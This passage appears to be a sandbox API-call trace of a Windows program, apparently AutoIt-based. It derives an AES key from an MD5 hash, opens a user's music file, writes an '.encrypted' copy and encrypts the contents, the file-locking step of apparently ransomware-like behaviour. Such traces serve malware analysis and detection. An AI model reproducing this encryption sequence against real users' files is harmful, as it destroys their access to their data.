0x14 [0026.793] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.793] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.793] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.793] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.793] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.793] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0026.793] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.793] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633c0) returned 1 [0026.793] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.794] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.794] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0026.794] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.794] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.794] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.794] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.794] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.794] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.794] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.794] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.794] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.794] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.794] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.794] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.794] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0026.794] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.794] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.794] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.794] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.794] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.794] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.794] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.794] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.794] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.794] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.794] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.794] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.794] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.794] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.794] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.794] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.795] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.795] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.795] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.795] CryptCreateHash (in: hProv=0xe8f40633c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0026.795] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.795] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.795] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.795] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.795] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0026.795] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.795] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.795] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.795] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.795] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.795] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418bb10, dwDataLen=0x20, dwFlags=0x1) returned 1 [0026.795] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.795] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.795] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.795] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.795] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.795] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.795] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.795] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.795] CryptDeriveKey (in: hProv=0xe8f40633c0, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062b10) returned 1 [0026.795] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.795] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.795] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.796] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.796] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.796] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.796] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0026.796] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.796] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0026.796] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.797] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.797] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.797] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.797] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.797] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\ecV1iYlCSS.m4a" (normalized: "c:\\users\\5jghkoaofdp\\music\\ecv1iylcss.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0026.797] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.797] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0026.798] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.798] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.798] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.798] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\" (normalized: "c:\\users\\5jghkoaofdp\\music")) returned 0x11 [0026.798] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\ecV1iYlCSS.encrypted.m4a" (normalized: "c:\\users\\5jghkoaofdp\\music\\ecv1iylcss.encrypted.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0026.798] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.798] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.798] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.799] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.800] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0026.800] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x3cab, lpOverlapped=0x0) returned 1 [0026.800] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0026.802] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.802] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.802] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.802] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0026.803] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.803] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.803] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0026.803] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.803] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0026.803] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.803] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.803] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.804] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0026.804] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.804] CryptGetKeyParam (in: hKey=0xe8f4062b10, dwParam=0x7, pbData=0xe8f4064aa0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064aa0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0026.804] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.804] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.804] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.804] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.804] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.804] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.804] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.805] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.805] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.805] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.805] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.805] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.805] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.805] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.805] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.805] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.805] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.805] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.805] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.805] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.805] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.805] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.805] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.805] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.805] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.805] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x3cab, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x3cb0) returned 1 [0026.805] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.805] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.805] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.805] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.805] CharLowerBuffW (in: lpsz="byte[15537]", cchLength=0xb | out: lpsz="byte[15537]") returned 0xb [0026.805] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.806] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.806] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.806] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.806] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.806] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f437dcf0*, pdwDataLen=0xe8f3dfdf68*=0x3cab, dwBufLen=0x3cb0 | out: pbData=0xe8f437dcf0*, pdwDataLen=0xe8f3dfdf68*=0x3cb0) returned 1 [0026.806] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.806] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.806] PeekMessageW (in: 